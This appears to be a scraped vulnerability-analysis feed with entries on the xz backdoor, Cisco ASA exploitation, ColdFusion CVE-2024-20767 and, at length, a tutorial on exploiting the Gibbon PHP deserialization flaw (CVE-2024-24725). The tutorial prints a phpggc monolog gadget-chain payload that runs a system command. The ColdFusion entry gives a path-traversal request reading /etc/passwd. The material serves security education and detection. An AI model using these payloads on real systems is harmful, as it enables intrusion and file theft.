Activity Feed
- Vendor Advisory (https://fortiguard.fortinet.com/psirt/FG-IR-24-007)
Technical Analysis
xz backdoor leads to authentication bypass on OpenSSH. So this remote account takeover on vulnerable systems.
Many linux distributions were not impacted because of various reasons:
- they were packing older version of xz where the backdoor was not introduced yet (e.g. Debian stable)
- they were building from source
- they didn’t patched OpenSSH to use liblzma (e.g. ArchLinux: news, advisory)
- they don’t even use xz (e.g. Amazon Linux)
Unaffected distribution examples:
Affected distribution examples (which are mostly unstable version of major distros + Kali):
A Nessus plugin is available for detection (n° 192708):
- https://www.tenable.com/plugins/nessus/192708
- more plugins for xz backdoor: https://www.tenable.com/cve/CVE-2024-3094/plugins
@fr0gger_ published an outbreak visual of the whole backdoor chain:
Timeline summary:
Analysis:
- smx – xz backdoor analysis and symbol mapping
- gynvael – xz/liblzma: Bash-stage Obfuscation Explained
- FAQ
- boehs – timeline
- openwall
- Wiz -Backdoor in XZ Utils allows RCE: everything you need to know
- binarly – XZ Utils Supply Chain Puzzle: Binarly Ships Free Scanner for CVE-2024-3094 Backdoor
- Microsoft – FAQ and guidance for XZ Utils backdoor
Potential nuclei templates (PR not merged yet):
- https://github.com/projectdiscovery/nuclei-templates/pull/9458/files
- https://github.com/projectdiscovery/nuclei-templates/pull/9464/files
YARA rules:
Technical Analysis
The backdoor is present in versions 5.6.0
and 5.6.1
.
This one has gained significant attention over the past few days. To date, there is has been observation that this backdoor was ever leveraged, and it will be unlikely to do so now, given the attention that it has received.
From a Technical perspective, this one was difficult to detect and prevent since the payload was loaded and executed in memory (as part of the SSHD process). The backdoor allowed remote code to be executed via the SSH process, making it even harder to detect.
This backdoor was only discovered by chance, by a Microsoft developer at Microsoft, Andres Freund. Andres was investigating a performance issue in SSH (which was caused by the backdoor), and then stumbled upon the backdoor. Details of which can be found on their post: https://www.openwall.com/lists/oss-security/2024/03/29/4. Also worth noting that the backdoor was not introduced into the code of xz, but rather the binaries. This means if you built the binaries from source, you did not include the backdoor.
- Personally observed in an environment
- Personally observed in an environment (https://www.rapid7.com/blog/post/2023/08/29/under-siege-rapid7-observed-exploitation-of-cisco-asa-ssl-vpns/)
Technical Analysis
Rapid7 observed pre-patch exploitation of this vulnerability from March through at least August of 2023. Several of the incidents our MDR team investigated ended in ransomware deployment. In September 2023, Cisco assigned CVE-2023-20269, which covers some of the attacker behavior Rapid7 incident responders observed: https://www.rapid7.com/blog/post/2023/08/29/under-siege-rapid7-observed-exploitation-of-cisco-asa-ssl-vpns/
Technical Analysis
Th Gibbon web application v26.0.00
has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.
In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.
Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.
So far, so good, but what is exactly insecure deserialization
and why is it so dangerous?
Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.
Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.
$clock->type = "cuckoo"; $clock->isSold = true;
When serialized, this object may look something like below:
O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;} O:5:"Clock": - An object with the 4-character class name "Clock" 2: - the object has 2 attributes s:4:"type" - The key of the first attribute is the 4-character string "type" s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo" s:6:"isSold" - The key of the second attribute is the 6-character string "isSold" b:1 - The value of the second attribute is the boolean value true
The native methods for PHP serialization are serialize()
and unserialize()
. So If you have source code access, you should start by looking for unserialize()
anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.
Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.
If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder
in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4
.
So let’s have a look at the file import_run.php
and check if we can find the unserialize()
function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.
And indeed, there is unserialize()
function in the file import_run.php
and more important it has user-controllable parameters, such as columnOrder
and columnText
which makes this a potential candidate for insecure deserialization.
//STEP 3 & 4, DRY & LIVE RUN ----------------------------------------------------------------------------------- elseif ($step==3 || $step==4) { // Gather our data $mode = $_POST['mode'] ?? null; $syncField = $_POST['syncField'] ?? null; $syncColumn = $_POST['syncColumn'] ?? null; $csvData = $_POST['csvData'] ?? null; if ($step==4) { // DESERIALIZATION with user-controllable data !!! $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null; $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null; } else { $columnOrder = $_POST['columnOrder'] ?? null; $columnText = $_POST['columnText'] ?? null; } $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null; $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null; $ignoreErrors = $_POST['ignoreErrors'] ?? false;
But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.
A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.
However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods
and Gadget Chains
.
Let’s quickly explain both concepts.
Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.
Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct()
, which is invoked whenever an object of the class is instantiated, similar to Python’s __init__
. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize()
method looks for and invokes an object’s __wakeup()
magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.
Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain
. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget
.
Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.
However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics
has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.
If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)
kali@cerberus:~/phpggc$ phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct CodeIgniter4/RCE1 4.0.2 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * Dompdf/FD1 1.1.1 <= ? File delete __destruct * Dompdf/FD2 ? < 1.1.1 File delete __destruct * Drupal7/FD1 7.0 < ? File delete __destruct * Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * Drupal9/RCE1 -8.9.6 <= 9.4.9+ RCE (Function call) __destruct * Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write __destruct Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * Kohana/FR1 3.* File read __toString * Laminas/FD1 <= 2.11.2 File delete __destruct Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * Laravel/RCE13 5.3.0 <= 9.5.1+ RCE (Function call) __destruct * Laravel/RCE14 5.3.0 <= 9.5.1+ RCE (Function call) __destruct Laravel/RCE15 5.5.0 <= v9.5.1+ RCE (Function call) __destruct Laravel/RCE16 5.6.0 <= v9.5.1+ RCE (Function call) __destruct Magento/FW1 ? <= 1.9.4.0 File write __destruct * Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct Magento2/FD1 * File delete __destruct * Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Phalcon/RCE1 <= 1.2.2 RCE __wakeup * Phing/FD1 2.6.0 <= 3.0.0a3 File delete __destruct PHPCSFixer/FD1 <= 2.17.3 File delete __destruct PHPCSFixer/FD2 <= 2.17.3 File delete __destruct PHPExcel/FD1 1.8.2+ File delete __destruct PHPExcel/FD2 <= 1.8.1 File delete __destruct PHPExcel/FD3 1.8.2+ File delete __destruct PHPExcel/FD4 <= 1.8.1 File delete __destruct PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString Slim/RCE1 3.8.1 RCE (Function call) __toString Smarty/FD1 ? File delete __destruct Smarty/SSRF1 ? SSRF __destruct * Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct Spiral/RCE2 -2.8+ RCE (Function call) __destruct * SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct SwiftMailer/FD2 5.4.6 <= 5.x-dev File delete __destruct * SwiftMailer/FR1 6.0.0 <= 6.3.0 File read __toString SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString SwiftMailer/FW3 5.0.1 File write __toString SwiftMailer/FW4 4.0.0 <= ? File write __destruct Symfony/FD1 v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6 File delete __destruct Symfony/FW1 2.5.2 File write DebugImport * Symfony/FW2 3.4 File write __destruct Symfony/RCE1 v3.1.0 <= v3.4.34 RCE (Command) __destruct * Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * Symfony/RCE5 5.2.* RCE (Function call) __destruct Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE (Function call) __destruct Symfony/RCE8 v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1 RCE (Function call) __destruct TCPDF/FD1 <= 6.3.5 File delete __destruct * ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * ThinkPHP/RCE3 -6.0.1+ RCE (Function call) __destruct ThinkPHP/RCE4 -6.0.1+ RCE (Function call) __destruct Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * vBulletin/RCE1 -5.6.9+ RCE (Function call) __destruct WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * Yii/RCE1 1.1.20 RCE (Function call) __wakeup * Yii/RCE2 1.1.20 RCE (Function call) __destruct Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * ZendFramework/FD1 ? <= 1.12.20 File delete __destruct ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www
or /var/www/html
depending on the webroot
setting, you will find a directory vendor
. Running the ls
command will list the framework/libraries that are installed and supported by the web application.
root@cuckoo:/var/www/vendor# ls aura ezyang league moneyphp omnipay phpoffice setasign autoload.php firebase maennchen monolog paragonie phpseclib slim clue fzaninotto markbaker mpdf parsecsv psr symfony composer google matthewbdaly myclabs php-http ralouphie tecnickcom eluceo guzzlehttp microsoft nikic phpmailer robthree twig
And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog
and symfony
.
Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog
a bit deeper and check CHANGELOG.md
which version is installed.
root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md ### 1.27.1 (2022-06-09) * Fixed MandrillHandler support for SwiftMailer 6 (#1676) * Fixed StreamHandler chunk size (backport from #1552) ### 1.27.0 (2022-03-13) * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)
Version 1.27.1
is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py
as part of phpggc
that does this job for us.
kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4 Running on PHP version PHP 8.2.12 (cli) (built: Jan 8 2024 02:15:58) (NTS). Testing 1 versions for monolog/monolog against 10 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 1.27.1 │ OK │ KO │ OK │ OK │ KO │ KO │ OK │ OK │ OK │ KO │ KO │ └─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘ kali@cerberus:~/phpggc$
So we have quite some options that we can test.
To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id
which generates the gadget chain monolog/rce1
with the payload. In this case, the serialized data gets deserialized and the id
command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f
option applies the fast-destruct technique, so that the object is destroyed right after the unserialize()
call, as opposed to at the end of the script.
kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}
Important: there are null bytes in the serialized data, for example *socket
is \x00*\x00socket
and therefore the size is 9 and not 7.
This applies for all the *items
.
I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit.
If you review the module, you will see most of the above theory and discussions back in the exploit code.
Summary
Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:
- get access to the application source code;
- search for the language specific serialization and deserialization functions in the code. For PHP, these functions are
serialize()
andunserialize()
;
- check if user-controlled parameters are part of serialize and deserialize process;
- check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
- last but not least, try and error until the magic happens ;–)
Till next time….
References
CVE-2024-24725
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]
Credits
Credits go to the security researchers below whom discovered this vulnerability
SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
Technical Analysis
CVE-2024-20767 highlights a vulnerability in a ColdFusion application, specifically within a server management component (/CFIDE/adminapi/_servermanager/servermanager.cfc
). This component, intended for managing server operations, can be manipulated to execute unauthorized actions due to improper security checks on user access levels.
The vulnerability arises because the application fails to adequately verify the permissions of certain classes, allowing a class with a specific access level (identified as “3”) to bypass security measures. Attackers can exploit this oversight by dissecting the application’s files to target the getHeartBeat
class, which is not properly secured. Once access is gained, attackers can call internal methods that should be restricted, leading to unauthorized actions such as reading sensitive files or downloading data dumps from the server.
This issue is particularly concerning because it allows attackers to use a unique identifier (UUID) generated by the application to fake authorization, gaining access to a servlet (PMSGenericServlet
) meant for privileged operations. The exploitation of this servlet could lead to further unauthorized activities, such as reading or altering files on the server, by manipulating parameters like the username and filename in requests.
From an example at http://jeva.cc/2973.html, a POC would look like:
Get /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=10000
This is awesome, thank you!!